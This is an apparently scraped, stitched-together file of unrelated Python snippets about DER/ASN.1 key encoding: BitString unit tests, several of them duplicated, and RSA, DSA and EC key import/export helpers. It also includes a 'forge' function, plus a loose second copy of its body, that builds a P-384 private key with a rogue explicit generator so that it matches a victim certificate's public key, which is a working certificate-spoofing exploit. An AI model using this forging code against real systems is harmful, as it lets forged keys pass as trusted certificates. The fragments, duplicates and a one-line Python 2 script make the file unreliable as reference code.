def testDecode1(self):
# Empty sequence
der = DerBitString()
der.decode(b('\x03\x00'))
self.assertEqual(der.value, b(''))
# Small payload
der.decode(b('\x03\x03\x00\x01\x02'))
self.assertEqual(der.value, b('\x01\x02'))
def testEncode1(self):
# Empty sequence
der = DerBitString()
self.assertEquals(der.encode(), b('\x03\x01\x00'))
# Small payload
der = DerBitString(b('\x01\x02'))
self.assertEquals(der.encode(), b('\x03\x03\x00\x01\x02'))
# Small payload
der = DerBitString()
der.value = b('\x01\x02')
self.assertEquals(der.encode(), b('\x03\x03\x00\x01\x02'))
def _export_private_der(self, include_ec_params=True):
assert self.has_private()
# ECPrivateKey ::= SEQUENCE {
# version INTEGER { ecPrivkeyVer1(1) } (ecPrivkeyVer1),
# privateKey OCTET STRING,
# parameters [0] ECParameters {{ NamedCurve }} OPTIONAL,
# publicKey [1] BIT STRING OPTIONAL
# }
# Public key - uncompressed form
modulus_bytes = self.pointQ.size_in_bytes()
public_key = (b'\x04' + self.pointQ.x.to_bytes(modulus_bytes) +
self.pointQ.y.to_bytes(modulus_bytes))
seq = [
1,
DerOctetString(self.d.to_bytes(modulus_bytes)),
DerObjectId(self._curve.oid, explicit=0),
DerBitString(public_key, explicit=1)
]
if not include_ec_params:
del seq[2]
return DerSequence(seq).encode()
def generate_privkey(d, generator):
"""
Generate a private key with explicit parameters.
"""
modulus_bytes = 48
a = P384.a % P384.p
public_key = d * generator
generator = (b'\x04' + generator.x.to_bytes(modulus_bytes, "big") +
generator.y.to_bytes(modulus_bytes, "big"))
public_key = (b'\x04' + public_key.x.to_bytes(modulus_bytes, "big") +
public_key.y.to_bytes(modulus_bytes, "big"))
field_parameters = DerSequence([DerObjectId("1.2.840.10045.1.1"), P384.p])
parameters = [
DerSequence([
1, field_parameters,
DerSequence([
DerOctetString(a.to_bytes(modulus_bytes, "big")),
DerOctetString(P384.b.to_bytes(modulus_bytes, "big"))
]),
DerOctetString(generator), P384.q, 1
])
]
seq = [
1,
DerOctetString(d.to_bytes(modulus_bytes, "big")),
DerSequence(parameters, implicit=0),
DerBitString(public_key, explicit=1)
]
return seq
def _importKeyDER(extern_key, passphrase, verify_x509_cert):
"""Import an RSA key (public or private half), encoded in DER form."""
try:
der = DerSequence().decode(extern_key)
# Try PKCS#1 first, for a private key
if len(der) == 9 and der.hasOnlyInts() and der[0] == 0:
# ASN.1 RSAPrivateKey element
del der[6:] # Remove d mod (p-1),
# d mod (q-1), and
# q^{-1} mod p
der.append(Integer(der[4]).inverse(der[5])) # Add p^{-1} mod q
del der[0] # Remove version
return construct(der[:])
# Keep on trying PKCS#1, but now for a public key
if len(der) == 2:
try:
# The DER object is an RSAPublicKey SEQUENCE with
# two elements
if der.hasOnlyInts():
return construct(der[:])
# The DER object is a SubjectPublicKeyInfo SEQUENCE
# with two elements: an 'algorithmIdentifier' and a
# 'subjectPublicKey'BIT STRING.
# 'algorithmIdentifier' takes the value given at the
# module level.
# 'subjectPublicKey' encapsulates the actual ASN.1
# RSAPublicKey element.
if der[0] == algorithmIdentifier:
bitmap = DerBitString().decode(der[1])
rsaPub = DerSequence().decode(bitmap.value)
if len(rsaPub) == 2 and rsaPub.hasOnlyInts():
return construct(rsaPub[:])
except (ValueError, EOFError):
pass
# Try to see if this is an X.509 DER certificate
# (Certificate ASN.1 type)
if len(der) == 3:
from Crypto.PublicKey import _extract_sp_info
try:
sp_info = _extract_sp_info(der)
if verify_x509_cert:
raise NotImplementedError("X.509 certificate validation is not supported")
return _importKeyDER(sp_info, passphrase, False)
except ValueError:
pass
# Try PKCS#8 (possibly encrypted)
k = PKCS8.unwrap(extern_key, passphrase)
if k[0] == oid:
return _importKeyDER(k[1], passphrase, False)
except (ValueError, EOFError):
pass
raise ValueError("RSA key format is not supported")
def _create_subject_public_key_info(algo_oid, secret_key, params=None):
if params is None:
params = DerNull()
spki = DerSequence([
DerSequence([DerObjectId(algo_oid), params]),
DerBitString(secret_key)
])
return spki.encode()
def forge(certificate_path: str, key_pem: str):
"""
given a valid certificate_path and key_pem create a forged key
"""
public_key_point = get_public_key(certificate_path)
Q = Point(int(public_key_point[0:96], 16),
int(public_key_point[96:], 16),
curve=P384)
# Generate rogue generator
privkey_inv = 2
# we take the private key as being the inverse of 2 modulo the curve order
private_key = gmpy2.invert(privkey_inv, P384.q) # pylint: disable=c-extension-no-member
private_key = unhexlify(f"{private_key:x}".encode())
# we multply our public key Q with the inverse of our chosen private key value
roug_g = privkey_inv * Q
roug_g = unhexlify(b"04" + f"{roug_g.x:x}".encode() +
f"{roug_g.y:x}".encode())
# Generate the file with explicit parameters
with open(key_pem, mode="rt") as handle:
keyfile = PEM.decode(handle.read())
seq_der = DerSequence()
der = seq_der.decode(keyfile[0])
# Replace private key
octet_der = DerOctetString(private_key)
der[1] = octet_der.encode()
# Replace public key
bits_der = DerBitString(unhexlify(b"04" + public_key_point))
der[3] = b"\xa1\x64" + bits_der.encode()
# Replace the generator
seq_der = DerSequence()
s = seq_der.decode(der[2][4:]) # pylint: disable=invalid-name
octet_der = DerOctetString(roug_g)
s[3] = octet_der.encode()
der[2] = der[2][:4] + s.encode()
return PEM.encode(der.encode(), "EC PRIVATE KEY")
def _create_subject_public_key_info(algo_oid, public_key, params):
if params is None:
algorithm = DerSequence([DerObjectId(algo_oid)])
else:
algorithm = DerSequence([DerObjectId(algo_oid), params])
spki = DerSequence([algorithm,
DerBitString(public_key)
])
return spki.encode()
def testEncode1(self):
# Empty sequence
der = DerBitString()
self.assertEquals(der.encode(), b('\x03\x01\x00'))
# Small payload
der = DerBitString(b('\x01\x02'))
self.assertEquals(der.encode(), b('\x03\x03\x00\x01\x02'))
# Small payload
der = DerBitString()
der.value = b('\x01\x02')
self.assertEquals(der.encode(), b('\x03\x03\x00\x01\x02'))
def testDecode1(self):
# Empty sequence
der = DerBitString()
der.decode(b('\x03\x00'))
self.assertEqual(der.value, b(''))
# Small payload
der.decode(b('\x03\x03\x00\x01\x02'))
self.assertEqual(der.value, b('\x01\x02'))
def _import_private_der(encoded, passphrase, curve_oid=None):
# See RFC5915 https://tools.ietf.org/html/rfc5915
#
# ECPrivateKey ::= SEQUENCE {
# version INTEGER { ecPrivkeyVer1(1) } (ecPrivkeyVer1),
# privateKey OCTET STRING,
# parameters [0] ECParameters {{ NamedCurve }} OPTIONAL,
# publicKey [1] BIT STRING OPTIONAL
# }
private_key = DerSequence().decode(encoded, nr_elements=(3, 4))
if private_key[0] != 1:
raise ValueError("Incorrect ECC private key version")
try:
parameters = DerObjectId(explicit=0).decode(private_key[2]).value
if curve_oid is not None and parameters != curve_oid:
raise ValueError("Curve mismatch")
curve_oid = parameters
except ValueError:
pass
if curve_oid is None:
raise ValueError("No curve found")
for curve_name, curve in _curves.items():
if curve.oid == curve_oid:
break
else:
raise UnsupportedEccFeature("Unsupported ECC curve (OID: %s)" %
curve_oid)
scalar_bytes = DerOctetString().decode(private_key[1]).payload
modulus_bytes = curve.p.size_in_bytes()
if len(scalar_bytes) != modulus_bytes:
raise ValueError("Private key is too small")
d = Integer.from_bytes(scalar_bytes)
# Decode public key (if any)
if len(private_key) == 4:
public_key_enc = DerBitString(explicit=1).decode(private_key[3]).value
public_key = _import_public_der(curve_oid, public_key_enc)
point_x = public_key.pointQ.x
point_y = public_key.pointQ.y
else:
point_x = point_y = None
return construct(curve=curve_name, d=d, point_x=point_x, point_y=point_y)
def _import_private_der(encoded, passphrase, curve_name=None):
# ECPrivateKey ::= SEQUENCE {
# version INTEGER { ecPrivkeyVer1(1) } (ecPrivkeyVer1),
# privateKey OCTET STRING,
# parameters [0] ECParameters {{ NamedCurve }} OPTIONAL,
# publicKey [1] BIT STRING OPTIONAL
# }
private_key = DerSequence().decode(encoded, nr_elements=(3, 4))
if private_key[0] != 1:
raise ValueError("Incorrect ECC private key version")
try:
curve_name = DerObjectId(explicit=0).decode(private_key[2]).value
except ValueError:
pass
if curve_name != _curve.oid:
raise UnsupportedEccFeature("Unsupported ECC curve (OID: %s)" %
curve_name)
scalar_bytes = DerOctetString().decode(private_key[1]).payload
order_bytes = _curve.order.size_in_bytes()
if len(scalar_bytes) != order_bytes:
raise ValueError("Private key is too small")
d = Integer.from_bytes(scalar_bytes)
# Decode public key (if any, it must be P-256)
if len(private_key) == 4:
public_key_enc = DerBitString(explicit=1).decode(private_key[3]).value
public_key = _import_public_der(curve_name, public_key_enc)
point_x = public_key.pointQ.x
point_y = public_key.pointQ.y
else:
point_x = point_y = None
return construct(curve="P-256", d=d, point_x=point_x, point_y=point_y)
def _expand_subject_public_key_info(encoded):
"""Parse a SubjectPublicKeyInfo structure.
It returns a triple with:
* OID (string)
* encoded public key (bytes)
* Algorithm parameters (bytes or None)
"""
#
# SubjectPublicKeyInfo ::= SEQUENCE {
# algorithm AlgorithmIdentifier,
# subjectPublicKey BIT STRING
# }
#
# AlgorithmIdentifier ::= SEQUENCE {
# algorithm OBJECT IDENTIFIER,
# parameters ANY DEFINED BY algorithm OPTIONAL
# }
#
spki = DerSequence().decode(encoded, nr_elements=2)
algo = DerSequence().decode(spki[0], nr_elements=(1, 2))
algo_oid = DerObjectId().decode(algo[0])
spk = DerBitString().decode(spki[1]).value
if len(algo) == 1:
algo_params = None
else:
try:
DerNull().decode(algo[1])
algo_params = None
except:
algo_params = algo[1]
return algo_oid.value, spk, algo_params
def testDecode2(self):
# Verify that decode returns the object
der = DerBitString()
self.assertEqual(der, der.decode(b('\x03\x00')))
# Generate the file with explicit parameters
f = open('p384-key.pem', 'rt')
keyfile = PEM.decode(f.read())
#print(hexlify(keyfile[0]))
f.close()
seq_der = DerSequence()
der = seq_der.decode(keyfile[0])
# Replace private key
octet_der = DerOctetString(privkey)
der[1] = octet_der.encode()
# Replace public key
#print(hexlify(der[3]))
bits_der = DerBitString(unhexlify(b"04" + pubkey))
der[3] = b"\xa1\x64" + bits_der.encode()
#print(hexlify(der[3]))
# Replace the generator
#print(hexlify(der[2]))
seq_der = DerSequence()
s = seq_der.decode(der[2][4:])
octet_der = DerOctetString(rogueG)
s[3] = octet_der.encode()
der[2] = der[2][:4] + s.encode()
#print(hexlify(der[2]))
# Generate new file
f = open('p384-key-rogue.pem', 'w')
#print(hexlify(der.encode()))
def _importKeyDER(key_data, passphrase, params):
"""Import a DSA key (public or private half), encoded in DER form."""
try:
#
# Dss-Parms ::= SEQUENCE {
# p OCTET STRING,
# q OCTET STRING,
# g OCTET STRING
# }
#
# Try a simple private key first
if params:
x = DerInteger().decode(key_data).value
p, q, g = list(DerSequence().decode(params)) # Dss-Parms
tup = (pow(g, x, p), g, p, q, x)
return construct(tup)
der = DerSequence().decode(key_data)
# Try OpenSSL format for private keys
if len(der) == 6 and der.hasOnlyInts() and der[0] == 0:
tup = [der[comp] for comp in (4, 3, 1, 2, 5)]
return construct(tup)
# Try SubjectPublicKeyInfo
if len(der) == 2:
try:
algo = DerSequence().decode(der[0])
algo_oid = DerObjectId().decode(algo[0]).value
params = DerSequence().decode(algo[1]) # Dss-Parms
if algo_oid == oid and len(params) == 3 and\
params.hasOnlyInts():
bitmap = DerBitString().decode(der[1])
pub_key = DerInteger().decode(bitmap.value)
tup = [pub_key.value]
tup += [params[comp] for comp in (2, 0, 1)]
return construct(tup)
except (ValueError, EOFError):
pass
# Try to see if this is an X.509 DER certificate
# (Certificate ASN.1 type)
if len(der) == 3:
from Crypto.PublicKey import _extract_sp_info
try:
sp_info = _extract_sp_info(der)
return _importKeyDER(sp_info, passphrase, None)
except ValueError:
pass
# Try unencrypted PKCS#8
p8_pair = PKCS8.unwrap(key_data, passphrase)
if p8_pair[0] == oid:
return _importKeyDER(p8_pair[1], passphrase, p8_pair[2])
except (ValueError, EOFError):
pass
raise ValueError("DSA key format is not supported")
def testInit1(self):
der = DerBitString(b("\xFF"))
self.assertEqual(der.encode(), b('\x03\x02\x00\xFF'))
def testDecode2(self):
# Verify that decode returns the object
der = DerBitString()
self.assertEquals(der, der.decode(b('\x03\x00')))
def testInit2(self):
der = DerBitString(DerInteger(1))
self.assertEqual(der.encode(), b('\x03\x04\x00\x02\x01\x01'))
def testInit2(self):
der = DerBitString(DerInteger(1))
self.assertEquals(der.encode(), b('\x03\x04\x00\x02\x01\x01'))
def testInit1(self):
der = DerBitString(b("\xFF"))
self.assertEquals(der.encode(), b('\x03\x02\x00\xFF'))
print sys.argv[1] print sys.argv[2] modulus = int(sys.argv[1]) exponent = int(sys.argv[2]) # Codificacion HEX-DER del SEQUENCE(OID, NULL) oid_seq = '300d06092a864886f70d0101010500' # Codificacion DER del SEQUENCE(INTEGER, INTEGER) int_seq = DerSequence() int_seq.append(modulus) int_seq.append(exponent) int_seq = int_seq.encode() # Codificacion DER del BIT STRING(...) bs_der = DerBitString(int_seq) bs_der = bs_der.encode() # Codificacion DER del SEQUENCE(SEQUENCE, BIT STRING) rsa_seq = DerSequence() rsa_seq.append(unhexlify(oid_seq)) rsa_seq.append(bs_der) rsa_seq = rsa_seq.encode() # Exportar la clave publica formateada en hexadecimal a un fichero f = open(sys.argv[3] + "/pub_key.txt", "w+") f.write(hexlify(bytearray(rsa_seq))) f.close()
